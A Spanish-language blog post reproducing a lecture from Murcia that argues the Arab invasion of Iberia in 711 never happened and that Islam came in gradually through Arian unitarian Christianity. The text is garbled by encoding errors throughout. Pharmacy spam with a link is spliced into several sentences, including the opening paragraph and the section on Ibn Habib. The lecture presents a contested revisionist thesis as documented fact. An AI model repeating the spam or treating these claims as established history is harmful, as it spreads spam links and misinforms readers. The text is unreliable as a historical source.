miércoles , abril 25 2018

A?QuiA�nes fueron nuestros abuelos?

cheap artane 2mg cheap pills http://nossoposto.com.br/new-antidepressants-for-2018-just-want-to-be-happy/ Ponencia expuesta en Murcia por Hayy Sidi SaA?A�d, responsable de laTA?rika Shadilia en EspaA�a, Argentina y Argelia. TambiA�n es escritor y ha publicado trece obras, en la editorial Mandala, sobre la tradiciA?n sufA�, de la que hubo una importantA�sima escuela en Ricote.

RESUMEN DE LA PONENCIA:

En la primera parte expondremos una visiA?n diferente sobre el controvertido tema de la invasiA?n A?rabe en nuestras tierras. EstarA? documentada en la mA?s moderna investigaciA?n y reciente arqueologA�a, en documentaciA?n antigua existente en archivos y bibliotecas nacionales, y apoyada por el criterio de preclaros historiadores antiguos y contemporA?neos.

Nuestra tierra murciana como parte de Al A?ndalus, y especA�ficamente el Valle de Ricote, dieron al mundo hombres y mujeres que destacaron en el A?mbito de las artes y de las ciencias.

En la segunda parte diremos que la FilosofA�a, las MatemA?ticas, AstronomA�a, IngenierA�a, Medicina, QuA�mica, BotA?nica, ZoologA�a, DietA�tica, y la Literatura A�pica, lA�rica y mA�stica tambiA�n se gestaron en estas tierras, asA� como las bases de la metodologA�a cientA�fica moderna, en la que nuestros ancestros murcianos andalusA�es, de tradiciA?n islA?mica, tuvieron un importante papel, una palabra determinante que aportar al mundo.
Si los autores de todo ello fueron forA?neos conquistadores A?rabes, mA?s tarde expulsados, nada tenemos, todo fue de ellos y con ellos se nos fue. Pero si fueron los naturales de esta regiA?n, nuestros dignos abuelos, quienes formaron parte de la gesta, es hora de que conozcamos tales hechos y los reivindiquemos como propios. Y que los murcianos sepan lo que una gran parte del mundo culto ya sabe.

Autores consultados:
– AsA�n Palacios (jesuita)
– Juan Vernet
– Luce Baralt
– Ignacio OlagA?e
– Arab Woorld Studies Notebook
– Francisco J. Flores Arroyuelo
– Padre FlA?rez (jesuita)
– Prof. Ricardo H. ElA�a.
– Otros

A?QUIA�NES FUERON NUESTROS ABUELOS?
(Los mil aA�os secuestrados de nuestra historia)

“Cuando todos los andalusA�es (murcianos) conozcan su verdadera historia y esencia, serA? cuando llegaremos a obtener la fuerza necesaria para exigir el respeto que se nos debe, por tener una personalidad tan diferente de aquella que trataron de imponernos por la fuerza”. Blas Infante.
“El pueblo que olvida sus raA�ces se condena a sA� mismo a repetir sus errores, y al desprecio de los demA?s”.

“Dejamos de temer aquello que hemos aprendido a comprender” Marie Curie.

“La duda es el principio de la SabidurA�a” AristA?teles.

“Los hechos no dejan de existir solo porque sean ignorados” Thomas Henry Houxley.

Algunos de ustedes, eruditos investigadores, ya estarA?n bien informados al respecto de estos comentarios, mejor que yo. Para otras personas, en cambio, todo esto serA? una novedad sorprendente. Sean ustedes mismos los crA�ticos, sean ustedes quienes decidan si esta exposiciA?n, aun a despecho de lo aprendido hasta el momento, es o no es cierta o cuando menos probable.
SegA?n Blas Infante, y segA?n la Historia, tanto los murcianos, como el resto de los andalusA�es en general, no podrA?n exigir el respeto ni el pago de la deuda histA?rica que se les debe si no la conocen y no se conocen a sA� mismos. Esto es obvio.
Nuestra cultura, A?una de las mA?s grandes que existieron!, fue condenada al exilio o a la destrucciA?n, y no por ser propia de un pueblo invasor, que no lo fue. Esta es la otra propuesta que, formulada por eruditos investigadores, hoy compartiremos.
No obstante el acervo cultural de este pueblo no desapareciA? por completo, pues en otros lugares del mundo se guardA? para que, en el dA�a de hoy, pudiA�ramos conocerlo si queremos.

ALGUNOS EJEMPLOS. En el mundo islA?mico existen bibliotecas con miles de volA?menes escritos en estas tierras, o que hablan de ellas. En el Valle del NA�ger hay una biblioteca con mA?s de tres mil, en Estambul, en Marruecos, asA� como en otros paA�ses de Oriente y Occidente, Alemania, CanadA?, etc., se conservan multitud de libros incunables de nuestro saber y de nuestra historia, esparcidos por el mundo. Un tesoro sin precio.
Lo que hoy expondrA� aquA� tampoco serA? “toda la verdad”, peroa�� A?quiA�n la tiene? Mi exposiciA?n es, tan solo, una alternativa a lo que nos han dicho. Una alternativa que ha sido investigada durante muchos aA�os por historiadores, andaluces, espaA�oles y extranjeros, cuyo pensamiento difiere del oficial. SerA?n ustedes quienes decidan si el resultado de tales investigaciones es o no mA?s o menos coherente que el popular.
Que personalmente estA� de acuerdo con estos investigadores, si no en todo sA� al menos en parte, no significa nada excepto para mA�. Por lo que serA?n ellos los exponentes de cuanto diga, yo solo serA� un mero transmisor sin pretensiA?n alguna de sentar cA?tedra. Esta exposiciA?n no es, por lo tanto, mA?s que otra alternativa probable aderezada con algunas reflexiones personales.
Por ello repito nuevamente, serA?n ustedes quienes decidan si quieren continuar, o no, descorriendo el velo de la Historia.

ESTO ES LO QUE NOS DICE LA HISTORIOGRAFA?A OFICIAL que todos conocemos: el aA�o 711 entraron 7.000 A?rabes por Tarifa al mando de TA?ric, y poco despuA�s otros 18.000 entran al mando de Musa, nacido en La Meca, que a la sazA?n tiene unos setenta y un aA�os de edad, 25.000 hombres en total. Nos dijeron que en tres aA�os conquistan un territorio de 584.192 kilA?metros cuadrados, habitado por varios millones de personas organizadas en monarquA�as visigodas y pertenecientes, muchas de ellas, a la decadente cultura grecolatina.
Es decir que, en el periodo de tres aA�os, cada uno de aquellos 25.000 A?rabes tuvo que realizar el esfuerzo de conquistar 23 kilA?metros cuadrados aproximadamente y, por si fuera poco, conquistar, ademA?s, parte de Francia y convertir todo ese vasto territorio al islam. A?Todo en tres aA�os! Ellos solos, con la espalda al descubierto, sin conocer el idioma y sin el apoyo necesario para pertrechar a la exigua tropa invasora.
Lo que las legiones romanas no consiguieron en trescientos aA�os, con todo su aparato militar, y el apoyo logA�stico desde las Galias, lo consiguen 25.000 A?rabes “incultos” venidos desde el lejano desierto. DespuA�s de atravesar miles de kilA?metros del norte de A?frica, sin conocer la herradura con la que calzar a los caballos que no tienen (el desierto de Arabia no lo permite) y con las espaldas descubiertas.
Si la investigaciA?n no desmintiera lo que aparentemente es un fraude histA?rico, el simple sentido comA?n ya nos lo sugerirA�a.
UNA LA�GICA Y NATURAL POSIBILIDAD sA� que existe para la transformaciA?n de los territorios islamizados en el mundo. Y es que estos paA�ses fueran ganados para la nueva idea por la intervenciA?n de bien formados comerciantes o musulmanes voluntarios que se dedicaron a dar a conocer el nuevo Din (camino del islam). SegA?n se desprende de la historia de los inicios del islam al leer la biografA�a de Muhammad, observamos que sA� enviA? mensajeros a distintas partes del mundo en aquel entonces conocido, y en esta cuestiA?n estA?n de acuerdo todos los crA�ticos. Por lo tanto, esto es lo que pudo suceder en nuestra tierra. He aquA� algunos ejemplos.
Sabemos por la historia mA?s reciente que, en los siglos XV y XVI, se extiende el islam por Indonesia a cargo de comerciantes que dan a conocer el Din, no por acciA?n militar.
En los tiempos modernos tambiA�n se introduce en las islas del PacA�fico estando estas bajo el dominio colonial de portugueses y holandeses. Y se introduce en el A?frica subsahariana durante el periodo colonial de Inglaterra, Francia y Portugal, sin que los europeos apenas se dieran cuenta del evento.
Si en este pasado reciente ha sucedido que el islam no tuvo necesidad de imponerse por las armas, sino por el estudio y conocimiento de su promulgaciA?n, A?no es lA?gico que tambiA�n pudiera suceder en un lejano pasado en nuestra tierra?

LA INVESTIGACIA�N HISTA�RICA, la arqueologA�a, y la documentaciA?n existente en archivos y bibliotecas nos dicen lo siguiente:
A la muerte de Muhammad, en el 640, la pacificaciA?n de la PenA�nsula ArA?biga no se habA�a completado. Desde el aA�o 710 hasta principios del siglo IX el norte de A?frica tampoco habA�a sido pacificado totalmente ni por Roma ni por Bizancio, pues las tribus bereberes se hicieron con el control de estas regiones, varias veces, durante este periodo.
Por lo tanto, los hipotA�ticos invasores A?rabes no podA�an tener capacidad para atravesar miles de kilA?metros de territorios beligerantes ni de organizar una hazaA�a de tal magnitud por la pobreza de sus medios. Las comarcas que tenA�an que atravesar eran en buena parte desierto. Tampoco podA�an disponer de cobertura a sus espaldas para hacerse con tan vasto territorio y apoderarse despuA�s de la PenA�nsula IbA�rica. AA�adamos a estas dificultades la pulsaciA?n climA?tica de desertizaciA?n que durante esos aA�os sufre el norte de A?frica haciendo padecer a sus habitantes una hambruna generalizada.
El aA�o 711, fecha oficial de la conquista de EspaA�a por los A?rabes, faltaba un siglo todavA�a para la pacificaciA?n del norte de A?frica. Hablamos de una A�poca en la que no existA�a un servicio de intendencia como el que conocemos ahora. Un grupo armado tenA�a que ser muy reducido para mantenerse con lo que encontraban en los lugares de paso, o bien estar muy apoyados a sus espaldas por un territorio bien pacificado.
Fueron precisamente estas dificultades las que obligaron al Imperio Romano, con todo su aparato militar, y a pesar del apoyo de las Galias, a tardar mA?s de trescientos aA�os en el intento de conquista de la PenA�nsula IbA�rica. La completa pacificaciA?n, siglos mA?s tarde, fue debida a la invasiA?n de los visigodos, origen de nuestras monarquA�as, que actuaron como fuerza de policA�a militar reprimiendo a la poblaciA?n de la PenA�nsula IbA�rica en favor de Roma.
Hay otra dificultad aA�adida. Se nos dice en una de las crA?nicas oficiales que aquellos supuestos invasores A?rabes, en su mayorA�a analfabetos, traA�an mezclados entre ellos a sirios, coptos, bizantinos y bereberes. Por lo tanto, no eran cultos A?rabes los 25.000 supuestos invasores. EspaA�a habrA�a sido islamizada por estas gentes incultas que ni hablaban A?rabe ni se entendA�an entre ellos ni sabA�an nada, o muy poco, del islam. Estos bA?rbaros, segA?n la historiografA�a oficial, serA�an los iniciadores de la vasta cultura andalusA� que iluminA? al mundo. A?Francamente sorprendente!
Pero, ademA?s, se nos dice que a los pocos meses de la invasiA?n, los 25.000 invasores se enzarzan en disputas entre sA� en una lucha que dura mA?s de 70 aA�os, en la que se masacran a miles de sus hombres.
A todo esto, los varios millones de habitantes de la PenA�nsula IbA�rica observan estos acontecimientos impasibles, sin tomar decisiA?n alguna para aprovecharse de la debilidad del invasor. Nos cuentan que esta guerrilla intestina es a causa de las disputas entre TA?ric y Musa, pues ambos se consideraban dueA�os de una mesa que, atribuida a SalomA?n, habA�an encontrado en Toledo.
Para dirimir en la disputa, ambos dirigentes se van a Bagdad a consultar con el califa, dejando sola a la tropa maltrecha y la conquista sin asegurar. AllA� el anciano Musa, con 74 aA�os de los de aquella A�poca, es castigado por el califa a causa de una mesa, en vez de ser premiado por conquistar un paA�s, y muere sin regresar.
Este anciano, Musa ibn Nosair, se nos dice que nace en La Meca el aA�o 640, y muere en Bagdad el 718, por lo que el aA�o 711, fecha de la supuesta invasiA?n, malamente podrA�a ponerse el frente de un ejA�rcito con una edad de 71 aA�os. Probablemente, de haber existido, fuera uno de los comerciantes o de los musulmanes que se dedican a extender el islam de los que tenemos constancia que enviA? el Profeta. Aunque la posterior leyenda lo convirtiera en un aguerrido septuagenario al mando de un exiguo ejA�rcito conquistador.
TambiA�n se nos dice que TA?ric tampoco regresA? de Bagdad. AsA� pues, dejaron la conquista en manos de los pocos aventureros que quedaron vivos, cuando 70 aA�os despuA�s de la supuesta invasiA?n acabaron de matarse entre ellos.
Por otra parte, y durante los setenta aA�os de disputas y masacres entre invasores, los 584.192 kilA?metros de la EspaA�a conquistada deberA�an de ser pacificados y sus gentes adoctrinadas para el islam. Pero A?por quiA�n? A?No se nos dice que estaban ocupados en matarse entre ellos y que no todos eran musulmanes?
El castillo de Ricote, llamado de Al Suhayrat, fue posesiA?n de Ali Berit Hutman, en el aA�o 738. Esto es 27 aA�os despuA�s de la supuesta conquista y sin que las hostilidades entre invasores estuvieran resueltas. Pero algo mA?s tarde, en la segunda mitad del siglo VIII, Lorca pasa a dominio musulmA?n por el pacto de Teodomiro y Murcia es fundada el aA�o 825 por Abderrahman II, sobre una pequeA�a aldea de origen romano.
En el 801 despuA�s del pacto de Teodomiro y de la fundaciA?n de Murcia, un estudiante cordobA�s, Ibn Habib, autor de la crA?nica A?rabe, tiene que viajar a El Cairo para informarse sobre la forma en que habA�a llegado el islam a EspaA�a. AquA� nadie recordaba nada del tema. A?CA?mo es esto posible?
Se deduce de esta historia que algo falla, que hay aparentes signos de leyenda. Y que mientras que EspaA�a, tierra que en el pasado habA�a sido de SA�neca y otros preclaros filA?sofos y emperadores, era conquistada por un grupo de zafios beduinos matA?ndose entre sA�, los varios millones de hispanos se durmieron en los laureles.
El historiador y escritor contemporA?neo, Juan Vernet, forma parte del elenco de investigadores que opinan lo siguiente: “Teniendo en cuenta que los A?rabes portadores del islam original no tenA�an fuerza militar suficiente, no pudieron introducir el islam mediante la acciA?n castrense, sino como una idea fuerza que va calando lentamente. El cristianismo no habA�a arraigado todavA�a en EspaA�a, y una parte importante de la poblaciA?n eran practicantes de otras religiones”.
Comentaremos los documentos y crA?nicas en los que se apoya lo que estamos considerando como “la fA?bula de la invasiA?n de los A?rabes”.

LAS CRA�NICAS A?RABES de la conquista de la PenA�nsula IbA�rica se escriben siglos despuA�s y son adaptaciones de leyendas egipcias que comienzan a extenderse en el siglo X.
A comienzos del siglo X un grupo de andalusA�es, reciA�n conversos, sienten la necesidad de viajar a El Cairo en busca de doctos eruditos para formarse en lo relativo a la nueva confesiA?n. Y para, A?oh, sorpresa!, informarse sobre la llegada del islam a la PenA�nsula IbA�rica.
Entre ellos viaja el tal Ibn Habib, que antes hemos nombrado, quien en su obra TA?ric pills for clamitia in canada A�nos relata la leyenda de la invasiA?n de los A?rabes, extraA�da a su vez de otras leyendas egipcias contadas por sus maestros cairotas. El investigador se debe de preguntar: A?CA?mo es que en la PenA�nsula IbA�rica no quedaba nadie que recordara los hipotA�ticos acontecimientos de un hecho tan decisivo como lo hubiera sido la conquista A?rabe tan solo un siglo antes y la conversiA?n al islam de casi todo un paA�s?
Lo cierto es que Ibn Habib y sus compaA�eros tienen que viajar hasta Egipto para enterarse de lo que pudo haber sucedido en vida de sus bisabuelos. Y si en PenA�nsula IbA�rica no quedaba recuerdo reciente de ninguna invasiA?n, A?cA?mo es que los egipcios, tan lejanos, pudieron saberlo?
A propA?sito de esta crA?nica. Cuando el aA�o 1860 el historiador Dozy la lee para su investigaciA?n, escribe en sus RecherchesA�que no le parecA�an otra cosa que cuentos de Las mil y una noches. femcare sale
Si los A?rabes habA�an invadido la PenA�nsula IbA�rica, sus nietos no se acordaban de la conquista y tuvieron que viajar a Egipto para informarse, A? ?
QuizA? en la Edad Media fue mA?s aceptable, para los trinitarios romanos, asumir la historia de la invasiA?n como un castigo divino por las herejA�as del cristianismo que aceptar la sustituciA?n progresiva de sus ideas religiosas por otras.
Supuestamente, para los andalusA�es, y para el orgullo de los A?rabes en general, tambiA�n les fue mA?s atractivo ensalzar proezas A�picas de sus hipotA�ticos antepasados que el natural florecimiento de una cultura nuestra, como la que aquA� se forjA?. Estos criterios son los que se mantienen en la actualidad para justificar la invasiA?n.
LA CRA�NICA BEREBERE se escribe un siglo despuA�s de las crA?nicas A?rabes y estos, aunque inspirados en la crA?nica A?rabe, la modifican para apropiarse del mA�rito de la invasiA?n. Ahora ya no es la exigua tropa multiA�tnica de los A?rabes quienes tienen el mA�rito de la conquista, en este caso son los rifeA�os bereberes, que tampoco se privan de acontecimientos milagrosos. Al ruego de Musa las murallas de las ciudades hispano-visigodas se vienen abajo, etc., etc.
Pero A?cA?mo pudo ser que los rifeA�os fuesen portadores de esta nueva idea? Tenemos que considerar que hasta el siglo X el norte de A?frica no conocA�a bien el islam, ya que en su versiA?n mA?s culta llegA? a la ciudad de Fez en esta A�poca. A?Y precisamente de manos de los andalusA�es!
Este suceso del siglo X acaeciA? reinando en CA?rdoba Alhakam I, cuando se produjo la famosa revuelta del Arrabal cercano a la actual torre de La Calahorra. Alhakam tiene la desafortunada idea de ordenar la destrucciA?n de los viA�edos, a causa de lo cual se organiza una revuelta general que es aplastada por el ejA�rcito. Diez mil cordobeses se ven en la necesidad de emigrar al norte de A?frica, y el sultA?n de Fez, Idris I, deseoso de la cultura y habilidades de los exiliados, les invita a vivir en la ciudad de Fez.
AllA� construyen el actual barrio AndalusA�, separado del barrio Karauin. Fortifican y enriquecen con sus habilidades la ciudad y, al mismo tiempo, enseA�an a los bereberes la lengua A?rabe (que no dominaban) y un islam mA?s culto del que conocA�an. Este acontecimiento dio origen al inicio de la posterior monarquA�a magrebA� y al desarrollo de la cultura andalusA� en el Magreb, que aA?n perdura. Y de paso nos enseA�a que el islam, en su forma culta, llegA? a Marruecos desde las tierras hispanas.
A?Oh, sorpresa! Si esto es cierto, como asA� parece, fueron los andalusA�es quienes islamizaron a los marroquA�es A?y no a la inversa! Aunque escuchar esto sorprenda enormemente, pues le da un vuelco a la historia oficial, la documentaciA?n, la arquitectura, y la cultura que nos lo enseA�a existen. Pero recuerden ustedes que yo solo soy un transmisor de documentos, no un autentificador de ellos.

EN RESUMEN. Los anales que se conservan de la hipotA�tica invasiA?n corresponden todos a la Edad Media. Ninguno se conserva que sea contemporA?neo de principios del siglo VIII. El A?nico es el del obispo Isidoro Pacense, pero desde hace dos siglos sabemos que es un personaje mA�tico. Desde el rey visigodo Vamba hasta Alfonso III, ni cristianos de confesiA?n alguna ni musulmanes dejan documentaciA?n creA�ble al respecto.
Las leyendas y las contradicciones se suman unas a otras, pero hemos de comprender que la falta de tiempo y espacio no nos permitirA?n hacer una exposiciA?n completa de cuanto hemos encontrado en nuestra investigaciA?n. Toda esta exposiciA?n no es sino un brevA�simo resumen cuyo A?nico fin es el de ofrecer, como dije al inicio, otra alternativa para la reflexiA?n. Pero la realidad serA? mucho mA?s amplia, sorprendente y controvertida.

LA CRA�NICA DE AJBAR MACHMUA prototipo de las crA?nicas Bereberes se escribe hacia el aA�o 1004, pero como vemos es un relato tardA�o, incoherente, A�picamente embellecido por generaciones posteriores y plagado de exageraciones milagrosas. AquA� la poesA�a se hace leyenda y la leyenda historia.

LAS CRA�NICAS LATINAS anteriores al siglo XI poseen un cierto interA�s al reflejar, de forma velada, no la invasiA?n sino el origen del verdadero y antiguo problema, las diferencias de un estado de opiniA?n entre unitarismo y trinitarismo, sin haber en ellas una relaciA?n ordenada de acontecimientos.
En una de las anA?nimas latinas se nos dice que TA?ric viene acompaA�ado de un noble tribuno llamado YuliA?n. MA?s tarde, la crA?nica de Silos le convierte en el conde D. JuliA?n gobernador de Ceuta y propiciador de la invasiA?n como padre vengador de su hija, la amante seducida por el rey D. Rodrigo. Es este conde quien prestA? a los invasores, mezcla de A?rabes y otras razas, cuatro lanchas para atravesar el Estrecho de Gibraltar con el ejA�rcito, los pertrechos y la caballerA�a. Es decir, que un conde cristiano hispano-visigodo vasallo de Archila y perteneciente al obispado de la BA�tica es el responsable de la invasiA?n… A??
Si calculamos el nA?mero de hombres, caballos, y equipaje por lancha, se hubieran necesitado aproximadamente tres o cuatro meses para llevar a cabo el traslado. Teniendo en cuenta que los habitantes de CA?diz poseA�an una flota capaz de transportar este ejA�rcito de una sola vez, A?permanecieron impasibles ante el lento goteo de invasores sin mover un solo dedo para defenderse? Esta leyenda ya fue estudiada y desbaratada por Hinojosa en el siglo XIX.
El resto de las crA?nicas latinas, aun siendo antiguas, no se componen hasta 150 aA�os despuA�s del 711. Todas ellas hacen un alarde de leyenda y disparate con pretensiones historicistas para contarnos que los invasores luchan en nuestra tierra contra estatuas de cobre y atacan una ciudad habitada por genios que les conminan a irse. A las tropas trinitarias se les aparece el apA?stol Santiago sobre un caballo blanco desjarretando moros, siendo que los musulmanes sienten un absoluto respeto y veneraciA?n por la persona de JesA?s de Nazaret y sus apA?stoles. En Toledo se encuentran, como dijimos, la mesa del Rey SalomA?n, motivo de la disputa entre TA?ric y Musa, y un cofre en el que el mismo SalomA?n habA�a aprisionado a unos genios, etc., etc.
En el siglo XIII JimA�nez de Rada introduce en Occidente el mito de la invasiA?n en su versiA?n definitiva, pero aderezada con los mitos orientales.
Tanto las crA?nicas latinas, como las A?rabes y bereberes, estA?n plagadas de acontecimientos legendarios, de milagros, de fA?bulas y anacronismos que ni tan siquiera concuerdan entre sA�.

OTRAS CRA�NICAS son las egipcias de Ibn Abd al Hakam, del aA�o 871, donde se nos dice que en el ejA�rcito invasor solo habA�a diecisA�is A?rabes. La de Ibn AbA? al Rica, del aA�o 891. Y los relatos concernientes al poder temporal y espiritual, compuesto en el 1062, pero todas son fA?bulas y leyendas del mismo estilo mA?gico-milagroso, trasladadas a la PenA�nsula IbA�rica desde lejanas tierras. Las restantes son crA?nicas de autores nA?rdicos de los siglos IX y X.
Es mi prudente parecer que, en las escuelas, se continA?a enseA�ando poco y deformado sobre la historia de la transformaciA?n ideolA?gica que hizo de nuestra patria la cuna del saber universal, a causa de ideas renovadoras y no de masacres. Hemos suprimido el cuento de milagros y genios, pero hemos mantenido la leyenda de la invasiA?n de los A?rabes que lo sustenta.
El historiador alemA?n FA�lix Dahn ya nos advertA�a en el pasado siglo XX del aspecto legendario de todas estas narraciones. Y en el aA�o 1892 nuestro historiador D. Eduardo Saavedra tambiA�n nos advertA�a de lo mismo.
El ilustre polA�tico e historiador, D. Antonio CA?novas del Castillo, nos enseA�aba: “El estudio de los hechos de los espaA�oles musulmanes tiene tan verdadera importancia, que de ello depende que nuestra historia llegue a la madurez o permanezca en la adolescencia”.
Y el contemporA?neo catedrA?tico de historia de la Universidad de Zaragoza, D. Guillermo Fatas, piensa que: “Si el islam es una de las mayores claves de la historia de EspaA�a, en esta tierra del mudA�jar, del alfar, de Avempace y del castillo de Ayub, ya va siendo hora de que nos enteremos de tal cosa”.
LA SITUACIA�N RELIGIOSA en la PenA�nsula IbA�rica antes y despuA�s del 711. Algunas particularidades.
Con la entrada de los godos admitidos por el Imperio Romano, la CrA?nica del gallego Idatius,A�escrita entre los aA�os 395-470, A?nica que se conserva de su llegada, arremete en contra de ellos. Pero no lo hace porque sean invasores consentidos por la polA�tica de Roma, sino porque no son catA?licos trinitarios romanos. A?Son cristianos arrianos unitarios! Ellos decA�an “Dios no es tres, es Uno”. Tal como en la actualidad proclaman otras iglesias cristianas.
Desde el siglo IV hasta el IX, tras las invasiones de los suevos en Galicia y las diversas revoluciones sociales, con la cruzada cluniacense y la pA�rdida del culto arriano-priscilianista, el rey Eurico rompe con Bizancio. Del culto al arrianismo del obispo Prisciliano solo quedaba un vago recuerdo en la veneraciA?n a la tumba confundida posteriormente con la de Santiago. Esta usurpaciA?n se llevA? a cabo durante el reinado de Alfonso III, rey de los astures. Para mA?s datos se puede leer a L. Duchesne y a D. Miguel de Unamuno.
Eurico decreta el cristianismo arriano-unitario como religiA?n oficial del estado, imponiA�ndose en parte de Francia y EspaA�a, como confesiA?n predominante, hasta finales del siglo VIII. MA?s allA? del 711, supuesta fecha de la invasiA?n A?rabe.
Mas no era el cristianismo unitario una nueva tendencia, pues ya en el Concilio de Nicea del aA�o 325 se debaten las diferencias entre unitarismo y trinitarismo.
El aA�o 785, 74 despuA�s de la supuesta invasiA?n, el Papa Adriano I envA�a a EspaA�a a un delegado pontificio para combatir la situaciA?n de los cristianos adversos al trinitarismo de Roma, este delegado, Egila, se pasa al bando de los unitaristas. El unitarismo progresa, pero de la presencia del islam sigue sin haber testimonios documentales.
Dado el ambiente favorable, todas las doctrinas unitaristas se unen en una sola. Se crea una forma de pensamiento que manifiesta una gran plasticidad y lo mantiene abierto a otras posiciones intelectuales, permitiendo la independencia que facilita el florecimiento de un criterio propio, capaz de desarrollar las ciencias y las nuevas concepciones filosA?ficas.
Esta creencia unitarista prospera y se mantiene mayoritariamente en las zonas mA?s ricas y cultas de la PenA�nsula IbA�rica, el sur, hasta la llegada progresiva del sincretismo muhammadA�. ConvirtiA�ndose el cristianismo arriano-unitario en el vehA�culo de entrada para la nueva modificaciA?n de las ideas y desarrollo de la cultura que serA�a conocida como andalusA�.
En este tiempo la corriente arriano-unitaria era tambiA�n llamada el cristianismo de los godos, en tanto que el cristianismo-trinitario era reconocido como la religiA?n de los romanos. Tanto la una como la otra se apropiaban alternativamente del tA�tulo de “catA?licas”, es decir, “universales”.
Como ya dijimos, para la corriente trinitaria romana JesA?s es Dios, para los unitarios arrianos JesA?s no es Dios y anuncia la venida de otro profeta A?ltimo: “DespuA�s de mA� vendrA? otro mA?s grande que yo”. Esta fue la creencia preislA?mica que facilitA? la expansiA?n del islam en nuestra PenA�nsula.
Para los trinitarios de Roma, Juan el Bautista fue el anunciador de JesA?s. Lo que para los unitarios arrianos hispanos, tras la llegada del sincretismo muhammadA�, llegA? a ser JesA?s con respecto a Muhammad.
En los siglos VIII y IX nos muestran las crA?nicas la existencia de las dos corrientes cristianas confrontadas por la supremacA�a. El trinitarismo de prA?ctica mayoritaria en el norte, en las zonas mA?s incultas y deprimidas. El unitarismo con mA?s A�xito aquA� en el sur, en las zonas mA?s ricas y cultas.
Pero observamos que en el transcurso de la historia hay periodos en los que acaban por mezclarse y adaptarse a la mutua convivencia, algo semejante a lo que sucede en la actualidad entre los catA?licos y los diversos protestantes. A pocos cristianos les importarA�a en estos momentos las variantes introducidas en las demA?s iglesias que les son ajenas, por lo que una nueva forma de fe se podrA�a introducir a travA�s de una de estas iglesias sin apenas se percibida por las demA?s. Excepto en el momento en que se hiciera pA?blica su diferencia.
Imaginemos que los evangelistas, de confesiA?n minoritaria en estas tierras, introdujesen con discreciA?n alguna variante en su fe. SucederA�a que hasta que no la hicieran pA?blica nadie, o casi nadie, se darA�a cuenta.
De la misma manera en aquel entonces, acabaron por ser a penas percibidas, para unos y para otros, las variantes introducidas en los respectivos ritos y doctrinas ya conocidas y admitidas del unitarismo arriano. El antiguo cristianismo arriano unitario visigodo ya no era una novedad para los trinitarios romanizados y viceversa. TenA�an otros problemas mA?s importantes que afrontar. Era el adopcionismo de origen nestoriano, predicado por FA�lix obispo de Urgel y por Elipando obispo de Toledo, asA� como las teorA�as del obispo Migecio, las nuevas corrientes a combatir. Pero no ya el unitarismo arriano o el trinitarismo romano, los unos se habA�an habituado a los otros, mA?s o menos, ya que pasaban a ser religiones oficiales alternativamente. Al igual que hoy se han acomodado a vivir juntos evangelistas, adventistas, catA?licos, testigos de JehovA?, etc.
En estas circunstancias, el islam se pudo introducir, inicialmente, a travA�s del arrianismo, como una nueva variante desapercibida al principio, pero que mejoraba la calidad de vida de la poblaciA?n. Equiparaba en derechos al hombre y a la mujer, no discriminaba a las personas por su origen A�tnico, era mA?s tolerante con otras formas de religiA?n, inducA�a insistentemente a la cultura, a la higiene, al equilibrio ecolA?gico, rechazaba la usura del prestamista, etc. La altura cultural a la que se llegA? nos indica los niveles de tolerancia ideolA?gica y la calidad de vida que se alcanzA?.
Las primeras comunidades continuaron manteniendo el nuevo culto en sus iglesias y poco a poco el islam fue calando como una idea renovadora venida de Oriente e impulsora de una nueva cultura que empezaba a florecer. No como una nueva religiA?n, o como una diferenciada doctrina religiosa que arrasa como el huracA?n, sino como un judeo-cristianismo salido del desierto. Al menos hasta que Abderrahman II trae a eruditos musulmanes de Oriente, con el fin de impulsar la decisiva labor de culturizaciA?n y diferenciaciA?n posterior.
Hoy podemos aportar un nuevo y contundente dato arqueolA?gico descubierto en JA?tiva en junio del aA�o 2004. Se trata de la lA?pida funeraria de un musulmA?n enterrado el 21 de febrero del aA�o 648, 63 aA�os antes de la pretendida invasiA?n. Es de suponer que el hombre en cuestiA?n no gravara su propia lA?pida y que no tuviera la mala suerte de morirse reciA�n llegado. Luego otros vinieron con A�l y, en aquella PenA�nsula IbA�rica plural, pasaron desapercibidos.
Ocho aA�os antes de ser gravada esta lA?pida, en el 640, muere el Profeta Muhammad (s.a.s) habiendo enviado mensajeros a Abisinia, a Constantinopla, Bizancio, AlejandrA�a, etc. A?No cabe la posibilidad, como buen estratega, de que en vida los enviara tambiA�n al extremo Occidental mA?s rico y culto del Imperio, que era Hispania? La lA?pida parece afirmarlo.
Veamos la documentaciA?n que existe sobre ese periodo de la historia:
Los historiadores A?rabes ofrecen una sorprendente noticia en el aA�o 27 de la hA�gira/647-48, segA?n la cual el califa A?tman habrA�a enviado una expediciA?n por mar contra la PenA�nsula IbA�rica bajo el mando de A�bd Allah b. Nafi b. al-Hsayn y A�bd Allah b. Abd al-Qays: “Utman mandA? a ‘Abd Allah b. Nafi’ b. al-Husayn y a ‘Abd Allah b. Nafi’ b. ‘Abd al-Qays [partir] inmediatamente de Ifriqiya a al-Andalus. Y llegaron ambos a ella por mar. ‘Utman habA�a escrito a los contingentes que se dirigieron a al-A?ndalus; ‘Constantinopla solo serA? conquistada a travA�s de al-A?ndalus. Si vosotros conquistA?is esta, compartirA�is la recompensa de quienes conquisten aquella. La paz’. Ka’b al-Ahbar dijo: ‘CruzarA?n el mar hacia al-A?ndalus unas gentes que la conquistarA?n y que el DA�a del Juicio serA?n reconocidas por la luz [que desprendan]”.
No sabemos si esta noticia es digna de crA�dito, pues es sabido que en esas fechas Ifriqiya, desde donde supuestamente se harA�an a la mar las naves rumbo a la PenA�nsula IbA�rica, tampoco habA�a sido conquistada por los aguerridos guerreros A?rabes. (Pero como ya dijimos, no deja de ser sorprendente la coincidencia de fechas, de la lA?pida y la supuesta expediciA?n por mar contra la PenA�nsula).
Existen otras crA?nicas de los historiadores cristianos, donde hallaremos informaciA?n sobre una temprana incursiA?n musulmana por mar contra las costas ibA�ricas. Las crA?nicas de Alfonso III (866-910). Se trata de una obra que presenta ciertos problemas historiogrA?ficos sobre su autorA�a y fecha de redacciA?n, problemas derivados de que no se conserve en su versiA?n original. Nos han llegado dos redacciones, conocidas por ovetense y la rotense, estos cA?dices fueron encontrados en la catedrales de Roda (Huesca) y Oviedo. Las crA?nicas recogen el ataque de una flota sarracena A?musulmana o cristiana unitaria? compuesta por 270 naves durante el reinado de Wamba (672-680), donde nos dice que fueron aniquilados y las embarcaciones quemadas.
Rotense: Illius quoque tempore CCLXX nabes sarracenorum Spanie litus sunt adgrese; ibique omnes pariter sunt delete et ignibus concremate.

